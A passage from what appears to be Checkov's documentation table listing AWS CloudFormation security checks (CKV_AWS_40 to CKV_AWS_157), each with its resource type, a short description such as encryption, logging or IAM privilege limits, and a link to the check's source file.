[CloudtrailLogValidation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudtrailLogValidation.py) | | 30 | CKV_AWS_40 | resource | AWS::IAM::Policy | Ensure IAM policies are attached only to groups or roles (Reducing access management complexity may in-turn reduce opportunity for a principal to inadvertently receive or retain excessive privileges.) | Cloudformation | [IAMPolicyAttachedToGroupOrRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPolicyAttachedToGroupOrRoles.py) | | 31 | CKV_AWS_42 | resource | AWS::EFS::FileSystem | Ensure EFS is securely encrypted | Cloudformation | [EFSEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EFSEncryptionEnabled.py) | | 32 | CKV_AWS_43 | resource | AWS::Kinesis::Stream | Ensure Kinesis Stream is securely encrypted | Cloudformation | [KinesisStreamEncryptionType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/KinesisStreamEncryptionType.py) | | 33 | CKV_AWS_44 | resource | AWS::Neptune::DBCluster | Ensure Neptune storage is securely encrypted | Cloudformation | [NeptuneClusterStorageEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/NeptuneClusterStorageEncrypted.py) | | 34 | CKV_AWS_45 | resource | AWS::Lambda::Function | Ensure no hard-coded secrets exist in Lambda environment | Cloudformation | [LambdaEnvironmentCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaEnvironmentCredentials.py) | | 35 | CKV_AWS_45 | resource | AWS::Serverless::Function | Ensure no hard-coded secrets exist in Lambda environment | Cloudformation | [LambdaEnvironmentCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaEnvironmentCredentials.py) | | 36 | CKV_AWS_46 | resource | AWS::EC2::Instance | Ensure no hard-coded secrets exist in EC2 user data | Cloudformation | [EC2Credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EC2Credentials.py) | | 37 | CKV_AWS_47 | resource | AWS::DAX::Cluster | Ensure DAX is encrypted at rest (default is unencrypted) | Cloudformation | [DAXEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DAXEncryption.py) | | 38 | CKV_AWS_51 | resource | AWS::ECR::Repository | Ensure ECR Image Tags are immutable | Cloudformation | [ECRImmutableTags.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECRImmutableTags.py) | | 39 | CKV_AWS_53 | resource | AWS::S3::Bucket | Ensure S3 bucket has block public ACLs enabled | Cloudformation | [S3BlockPublicACLs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3BlockPublicACLs.py) | | 40 | CKV_AWS_54 | resource | AWS::S3::Bucket | Ensure S3 bucket has block public policy enabled | Cloudformation | [S3BlockPublicPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3BlockPublicPolicy.py) | | 41 | CKV_AWS_55 | resource | AWS::S3::Bucket | Ensure S3 bucket has ignore public ACLs enabled | Cloudformation | [S3IgnorePublicACLs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3IgnorePublicACLs.py) | | 42 | CKV_AWS_56 | resource | AWS::S3::Bucket | Ensure S3 bucket has RestrictPublicBuckets enabled | Cloudformation | [S3RestrictPublicBuckets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3RestrictPublicBuckets.py) | | 43 | CKV_AWS_57 | resource | AWS::S3::Bucket | Ensure the S3 bucket does not allow WRITE permissions to everyone | Cloudformation | [S3PublicACLWrite.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3PublicACLWrite.py) | | 44 | CKV_AWS_58 | resource | AWS::EKS::Cluster | Ensure EKS Cluster has Secrets Encryption Enabled | Cloudformation | [EKSSecretsEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EKSSecretsEncryption.py) | | 45 | CKV_AWS_59 | resource | AWS::ApiGateway::Method | Ensure there is no open access to back-end resources through API | Cloudformation | [APIGatewayAuthorization.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayAuthorization.py) | | 46 | CKV_AWS_60 | resource | AWS::IAM::Role | Ensure IAM role allows only specific services or principals to assume it | Cloudformation | [IAMRoleAllowsPublicAssume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMRoleAllowsPublicAssume.py) | | 47 | CKV_AWS_61 | resource | AWS::IAM::Role | Ensure AWS IAM policy does not allow assume role permission across all services | Cloudformation | [IAMRoleAllowAssumeFromAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMRoleAllowAssumeFromAccount.py) | | 48 | CKV_AWS_62 | resource | AWS::IAM::Group | Ensure no IAM policies that allow full "*-*" administrative privileges are not created | Cloudformation | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMAdminPolicyDocument.py) | | 49 | CKV_AWS_62 | resource | AWS::IAM::Policy | Ensure no IAM policies that allow full "*-*" administrative privileges are not created | Cloudformation | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMAdminPolicyDocument.py) | | 50 | CKV_AWS_62 | resource | AWS::IAM::Role | Ensure no IAM policies that allow full "*-*" administrative privileges are not created | Cloudformation | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMAdminPolicyDocument.py) | | 51 | CKV_AWS_62 | resource | AWS::IAM::User | Ensure no IAM policies that allow full "*-*" administrative privileges are not created | Cloudformation | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMAdminPolicyDocument.py) | | 52 | CKV_AWS_63 | resource | AWS::IAM::Group | Ensure no IAM policies documents allow "*" as a statement's actions | Cloudformation | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMStarActionPolicyDocument.py) | | 53 | CKV_AWS_63 | resource | AWS::IAM::Policy | Ensure no IAM policies documents allow "*" as a statement's actions | Cloudformation | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMStarActionPolicyDocument.py) | | 54 | CKV_AWS_63 | resource | AWS::IAM::Role | Ensure no IAM policies documents allow "*" as a statement's actions | Cloudformation | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMStarActionPolicyDocument.py) | | 55 | CKV_AWS_63 | resource | AWS::IAM::User | Ensure no IAM policies documents allow "*" as a statement's actions | Cloudformation | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMStarActionPolicyDocument.py) | | 56 | CKV_AWS_64 | resource | AWS::Redshift::Cluster | Ensure all data stored in the Redshift cluster is securely encrypted at rest | Cloudformation | [RedshiftClusterEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedshiftClusterEncryption.py) | | 57 | CKV_AWS_65 | resource | AWS::ECS::Cluster | Ensure container insights are enabled on ECS cluster | Cloudformation | [ECSClusterContainerInsights.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECSClusterContainerInsights.py) | | 58 | CKV_AWS_66 | resource | AWS::Logs::LogGroup | Ensure that CloudWatch Log Group specifies retention days | Cloudformation | [CloudWatchLogGroupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudWatchLogGroupRetention.py) | | 59 | CKV_AWS_67 | resource | AWS::CloudTrail::Trail | Ensure CloudTrail is enabled in all Regions | Cloudformation | [CloudtrailMultiRegion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudtrailMultiRegion.py) | | 60 | CKV_AWS_68 | resource | AWS::CloudFront::Distribution | CloudFront Distribution should have WAF enabled | Cloudformation | [WAFEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/WAFEnabled.py) | | 61 | CKV_AWS_69 | resource | AWS::AmazonMQ::Broker | Ensure Amazon MQ Broker should not have public access | Cloudformation | [AmazonMQBrokerPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AmazonMQBrokerPublicAccess.py) | | 62 | CKV_AWS_71 | resource | AWS::Redshift::Cluster | Ensure Redshift Cluster logging is enabled | Cloudformation | [RedshiftClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedshiftClusterLogging.py) | | 63 | CKV_AWS_73 | resource | AWS::ApiGateway::Stage | Ensure API Gateway has X-Ray Tracing enabled | Cloudformation | [APIGatewayXray.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayXray.py) | | 64 | CKV_AWS_73 | resource | AWS::Serverless::Api | Ensure API Gateway has X-Ray Tracing enabled | Cloudformation | [APIGatewayXray.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayXray.py) | | 65 | CKV_AWS_74 | resource | AWS::DocDB::DBCluster | Ensure DocumentDB is encrypted at rest (default is unencrypted) | Cloudformation | [DocDBEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBEncryption.py) | | 66 | CKV_AWS_76 | resource | AWS::ApiGateway::Stage | Ensure API Gateway has Access Logging enabled | Cloudformation | [APIGatewayAccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayAccessLogging.py) | | 67 | CKV_AWS_76 | resource | AWS::Serverless::Api | Ensure API Gateway has Access Logging enabled | Cloudformation | [APIGatewayAccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayAccessLogging.py) | | 68 | CKV_AWS_78 | resource | AWS::CodeBuild::Project | Ensure that CodeBuild Project encryption is not disabled | Cloudformation | [CodeBuildProjectEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CodeBuildProjectEncryption.py) | | 69 | CKV_AWS_79 | resource | AWS::EC2::LaunchTemplate | Ensure Instance Metadata Service Version 1 is not enabled | Cloudformation | [IMDSv1Disabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IMDSv1Disabled.py) | | 70 | CKV_AWS_80 | resource | AWS::MSK::Cluster | Ensure MSK Cluster logging is enabled | Cloudformation | [MSKClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/MSKClusterLogging.py) | | 71 | CKV_AWS_81 | resource | AWS::MSK::Cluster | Ensure MSK Cluster encryption in rest and transit is enabled | Cloudformation | [MSKClusterEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/MSKClusterEncryption.py) | | 72 | CKV_AWS_82 | resource | AWS::Athena::WorkGroup | Ensure Athena Workgroup should enforce configuration to prevent client disabling encryption | Cloudformation | [AthenaWorkgroupConfiguration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AthenaWorkgroupConfiguration.py) | | 73 | CKV_AWS_83 | resource | AWS::Elasticsearch::Domain | Ensure Elasticsearch Domain enforces HTTPS | Cloudformation | [ElasticsearchDomainEnforceHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainEnforceHTTPS.py) | | 74 | CKV_AWS_84 | resource | AWS::Elasticsearch::Domain | Ensure Elasticsearch Domain Logging is enabled | Cloudformation | [ElasticsearchDomainLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainLogging.py) | | 75 | CKV_AWS_84 | resource | AWS::OpenSearchService::Domain | Ensure Elasticsearch Domain Logging is enabled | Cloudformation | [ElasticsearchDomainLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainLogging.py) | | 76 | CKV_AWS_85 | resource | AWS::DocDB::DBCluster | Ensure DocumentDB Logging is enabled | Cloudformation | [DocDBLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBLogging.py) | | 77 | CKV_AWS_86 | resource | AWS::CloudFront::Distribution | Ensure CloudFront Distribution has Access Logging enabled | Cloudformation | [CloudfrontDistributionLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudfrontDistributionLogging.py) | | 78 | CKV_AWS_87 | resource | AWS::Redshift::Cluster | Redshift cluster should not be publicly accessible | Cloudformation | [RedshiftClusterPubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedshiftClusterPubliclyAccessible.py) | | 79 | CKV_AWS_88 | resource | AWS::EC2::Instance | EC2 instance should not have public IP. | Cloudformation | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EC2PublicIP.py) | | 80 | CKV_AWS_88 | resource | AWS::EC2::LaunchTemplate | EC2 instance should not have public IP. | Cloudformation | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EC2PublicIP.py) | | 81 | CKV_AWS_89 | resource | AWS::DMS::ReplicationInstance | DMS replication instance should not be publicly accessible | Cloudformation | [DMSReplicationInstancePubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DMSReplicationInstancePubliclyAccessible.py) | | 82 | CKV_AWS_90 | resource | AWS::DocDB::DBClusterParameterGroup | Ensure DocumentDB TLS is not disabled | Cloudformation | [DocDBTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBTLS.py) | | 83 | CKV_AWS_91 | resource | AWS::ElasticLoadBalancingV2::LoadBalancer | Ensure the ELBv2 (Application/Network) has access logging enabled | Cloudformation | [ELBv2AccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ELBv2AccessLogs.py) | | 84 | CKV_AWS_92 | resource | AWS::ElasticLoadBalancing::LoadBalancer | Ensure the ELB has access logging enabled | Cloudformation | [ELBAccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ELBAccessLogs.py) | | 85 | CKV_AWS_94 | resource | AWS::Glue::DataCatalogEncryptionSettings | Ensure Glue Data Catalog Encryption is enabled | Cloudformation | [GlueDataCatalogEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueDataCatalogEncryption.py) | | 86 | CKV_AWS_95 | resource | AWS::ApiGatewayV2::Stage | Ensure API Gateway V2 has Access Logging enabled | Cloudformation | [APIGatewayV2AccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayV2AccessLogging.py) | | 87 | CKV_AWS_95 | resource | AWS::Serverless::HttpApi | Ensure API Gateway V2 has Access Logging enabled | Cloudformation | [APIGatewayV2AccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayV2AccessLogging.py) | | 88 | CKV_AWS_96 | resource | AWS::RDS::DBCluster | Ensure all data stored in Aurora is securely encrypted at rest | Cloudformation | [AuroraEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AuroraEncryption.py) | | 89 | CKV_AWS_97 | resource | AWS::ECS::TaskDefinition | Ensure Encryption in transit is enabled for EFS volumes in ECS Task definitions | Cloudformation | [ECSTaskDefinitionEFSVolumeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECSTaskDefinitionEFSVolumeEncryption.py) | | 90 | CKV_AWS_99 | resource | AWS::Glue::SecurityConfiguration | Ensure Glue Security Configuration Encryption is enabled | Cloudformation | [GlueSecurityConfiguration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueSecurityConfiguration.py) | | 91 | CKV_AWS_100 | resource | AWS::EKS::Nodegroup | Ensure AWS EKS node group does not have implicit SSH access from 0.0.0.0/0 | Cloudformation | [EKSNodeGroupRemoteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EKSNodeGroupRemoteAccess.py) | | 92 | CKV_AWS_101 | resource | AWS::Neptune::DBCluster | Ensure Neptune logging is enabled | Cloudformation | [NeptuneClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/NeptuneClusterLogging.py) | | 93 | CKV_AWS_103 | resource | AWS::ElasticLoadBalancingV2::Listener | Ensure that Load Balancer Listener is using at least TLS v1.2 | Cloudformation | [ALBListenerTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ALBListenerTLS12.py) | | 94 | CKV_AWS_104 | resource | AWS::DocDB::DBClusterParameterGroup | Ensure DocumentDB has audit logs enabled | Cloudformation | [DocDBAuditLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBAuditLogs.py) | | 95 | CKV_AWS_105 | resource | AWS::Redshift::ClusterParameterGroup | Ensure Redshift uses SSL | Cloudformation | [RedShiftSSL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedShiftSSL.py) | | 96 | CKV_AWS_107 | resource | AWS::IAM::Group | Ensure IAM policies does not allow credentials exposure | Cloudformation | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py) | | 97 | CKV_AWS_107 | resource | AWS::IAM::ManagedPolicy | Ensure IAM policies does not allow credentials exposure | Cloudformation | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py) | | 98 | CKV_AWS_107 | resource | AWS::IAM::Policy | Ensure IAM policies does not allow credentials exposure | Cloudformation | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py) | | 99 | CKV_AWS_107 | resource | AWS::IAM::Role | Ensure IAM policies does not allow credentials exposure | Cloudformation | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py) | | 100 | CKV_AWS_107 | resource | AWS::IAM::User | Ensure IAM policies does not allow credentials exposure | Cloudformation | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py) | | 101 | CKV_AWS_108 | resource | AWS::IAM::Group | Ensure IAM policies does not allow data exfiltration | Cloudformation | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py) | | 102 | CKV_AWS_108 | resource | AWS::IAM::ManagedPolicy | Ensure IAM policies does not allow data exfiltration | Cloudformation | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py) | | 103 | CKV_AWS_108 | resource | AWS::IAM::Policy | Ensure IAM policies does not allow data exfiltration | Cloudformation | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py) | | 104 | CKV_AWS_108 | resource | AWS::IAM::Role | Ensure IAM policies does not allow data exfiltration | Cloudformation | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py) | | 105 | CKV_AWS_108 | resource | AWS::IAM::User | Ensure IAM policies does not allow data exfiltration | Cloudformation | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py) | | 106 | CKV_AWS_109 | resource | AWS::IAM::Group | Ensure IAM policies does not allow permissions management without constraints | Cloudformation | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py) | | 107 | CKV_AWS_109 | resource | AWS::IAM::ManagedPolicy | Ensure IAM policies does not allow permissions management without constraints | Cloudformation | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py) | | 108 | CKV_AWS_109 | resource | AWS::IAM::Policy | Ensure IAM policies does not allow permissions management without constraints | Cloudformation | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py) | | 109 | CKV_AWS_109 | resource | AWS::IAM::Role | Ensure IAM policies does not allow permissions management without constraints | Cloudformation | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py) | | 110 | CKV_AWS_109 | resource | AWS::IAM::User | Ensure IAM policies does not allow permissions management without constraints | Cloudformation | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py) | | 111 | CKV_AWS_110 | resource | AWS::IAM::Group | Ensure IAM policies does not allow privilege escalation | Cloudformation | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py) | | 112 | CKV_AWS_110 | resource | AWS::IAM::ManagedPolicy | Ensure IAM policies does not allow privilege escalation | Cloudformation | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py) | | 113 | CKV_AWS_110 | resource | AWS::IAM::Policy | Ensure IAM policies does not allow privilege escalation | Cloudformation | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py) | | 114 | CKV_AWS_110 | resource | AWS::IAM::Role | Ensure IAM policies does not allow privilege escalation | Cloudformation | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py) | | 115 | CKV_AWS_110 | resource | AWS::IAM::User | Ensure IAM policies does not allow privilege escalation | Cloudformation | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py) | | 116 | CKV_AWS_111 | resource | AWS::IAM::Group | Ensure IAM policies does not allow write access without constraints | Cloudformation | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py) | | 117 | CKV_AWS_111 | resource | AWS::IAM::ManagedPolicy | Ensure IAM policies does not allow write access without constraints | Cloudformation | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py) | | 118 | CKV_AWS_111 | resource | AWS::IAM::Policy | Ensure IAM policies does not allow write access without constraints | Cloudformation | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py) | | 119 | CKV_AWS_111 | resource | AWS::IAM::Role | Ensure IAM policies does not allow write access without constraints | Cloudformation | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py) | | 120 | CKV_AWS_111 | resource | AWS::IAM::User | Ensure IAM policies does not allow write access without constraints | Cloudformation | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py) | | 121 | CKV_AWS_115 | resource | AWS::Lambda::Function | Ensure that AWS Lambda function is configured for function-level concurrent execution limit | Cloudformation | [LambdaFunctionLevelConcurrentExecutionLimit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaFunctionLevelConcurrentExecutionLimit.py) | | 122 | CKV_AWS_115 | resource | AWS::Serverless::Function | Ensure that AWS Lambda function is configured for function-level concurrent execution limit | Cloudformation | [LambdaFunctionLevelConcurrentExecutionLimit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaFunctionLevelConcurrentExecutionLimit.py) | | 123 | CKV_AWS_116 | resource | AWS::Lambda::Function | Ensure that AWS Lambda function is configured for a Dead Letter Queue(DLQ) | Cloudformation | [LambdaDLQConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaDLQConfigured.py) | | 124 | CKV_AWS_116 | resource | AWS::Serverless::Function | Ensure that AWS Lambda function is configured for a Dead Letter Queue(DLQ) | Cloudformation | [LambdaDLQConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaDLQConfigured.py) | | 125 | CKV_AWS_117 | resource | AWS::Lambda::Function | Ensure that AWS Lambda function is configured inside a VPC | Cloudformation | [LambdaInVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaInVPC.py) | | 126 | CKV_AWS_117 | resource | AWS::Serverless::Function | Ensure that AWS Lambda function is configured inside a VPC | Cloudformation | [LambdaInVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaInVPC.py) | | 127 | CKV_AWS_118 | resource | AWS::RDS::DBInstance | Ensure that enhanced monitoring is enabled for Amazon RDS instances | Cloudformation | [RDSEnhancedMonitorEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSEnhancedMonitorEnabled.py) | | 128 | CKV_AWS_119 | resource | AWS::DynamoDB::Table | Ensure DynamoDB Tables are encrypted using a KMS Customer Managed CMK | Cloudformation | [DynamoDBTablesEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DynamoDBTablesEncrypted.py) | | 129 | CKV_AWS_120 | resource | AWS::ApiGateway::Stage | Ensure API Gateway caching is enabled | Cloudformation | [APIGatewayCacheEnable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayCacheEnable.py) | | 130 | CKV_AWS_120 | resource | AWS::Serverless::Api | Ensure API Gateway caching is enabled | Cloudformation | [APIGatewayCacheEnable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayCacheEnable.py) | | 131 | CKV_AWS_123 | resource | AWS::EC2::VPCEndpointService | Ensure that VPC Endpoint Service is configured for Manual Acceptance | Cloudformation | [VPCEndpointAcceptanceConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/VPCEndpointAcceptanceConfigured.py) | | 132 | CKV_AWS_131 | resource | AWS::ElasticLoadBalancingV2::LoadBalancer | Ensure that ALB drops HTTP headers | Cloudformation | [ALBDropHttpHeaders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ALBDropHttpHeaders.py) | | 133 | CKV_AWS_136 | resource | AWS::ECR::Repository | Ensure that ECR repositories are encrypted using KMS | Cloudformation | [ECRRepositoryEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECRRepositoryEncrypted.py) | | 134 | CKV_AWS_149 | resource | AWS::SecretsManager::Secret | Ensure that Secrets Manager secret is encrypted using KMS CMK | Cloudformation | [SecretManagerSecretEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecretManagerSecretEncrypted.py) | | 135 | CKV_AWS_154 | resource | AWS::Redshift::Cluster | Ensure Redshift is not deployed outside of a VPC | Cloudformation | [RedshiftInEc2ClassicMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedshiftInEc2ClassicMode.py) | | 136 | CKV_AWS_155 | resource | AWS::WorkSpaces::Workspace | Ensure that Workspace user volumes are encrypted | Cloudformation | [WorkspaceUserVolumeEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/WorkspaceUserVolumeEncrypted.py) | | 137 | CKV_AWS_156 | resource | AWS::WorkSpaces::Workspace | Ensure that Workspace root volumes are encrypted | Cloudformation | [WorkspaceRootVolumeEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/WorkspaceRootVolumeEncrypted.py) | | 138 | CKV_AWS_157 | resource | AWS::RDS::DBInstance | Ensure that RDS instances have Multi-AZ enabled | Cloudformation | 